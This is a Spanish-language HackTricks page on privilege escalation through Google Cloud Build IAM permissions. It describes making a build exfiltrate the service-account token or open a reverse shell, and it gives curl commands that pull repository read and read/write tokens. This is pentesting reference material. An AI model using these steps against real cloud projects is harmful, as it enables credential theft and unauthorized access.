GCP - Cloudbuild Privesc

Apoya a HackTricks

cloudbuild

Para más información sobre Cloud Build revisa:

GCP - Cloud Build Enum

cloudbuild.builds.create

Con este permiso puedes enviar una cloud build. La máquina cloudbuild tendrá en su sistema de archivos por defecto un token de la Service Account de cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Sin embargo, puedes indicar cualquier service account dentro del proyecto en la configuración de cloudbuild. Por lo tanto, puedes hacer que la máquina exfiltre el token a tu servidor o obtener una reverse shell dentro de ella y conseguir el token tú mismo (el archivo que contiene el token podría cambiar).

Puedes encontrar el script de exploit original aquí en GitHub (pero la ubicación de donde toma el token no funcionó para mí). Por lo tanto, revisa un script para automatizar la creación, explotación y limpieza de un entorno vulnerable aquí y un script en python para obtener una reverse shell dentro de la máquina cloudbuild y robarlo aquí (en el código puedes encontrar cómo especificar otras service accounts).

Para una explicación más detallada, visita https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potencialmente con este permiso podrás actualizar una cloud build y simplemente robar el token de la service account como se realizó con el permiso anterior (pero desafortunadamente en el momento de escribir esto no pude encontrar ninguna forma de llamar a esa API).

TODO

cloudbuild.repositories.accessReadToken

Con este permiso el usuario puede obtener el token de acceso de lectura utilizado para acceder al repositorio:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Con este permiso, el usuario puede obtener el token de acceso de lectura y escritura utilizado para acceder al repositorio:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Con este permiso puedes obtener los repos a los que la conexión tiene acceso:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Apoya a HackTricks

Last updated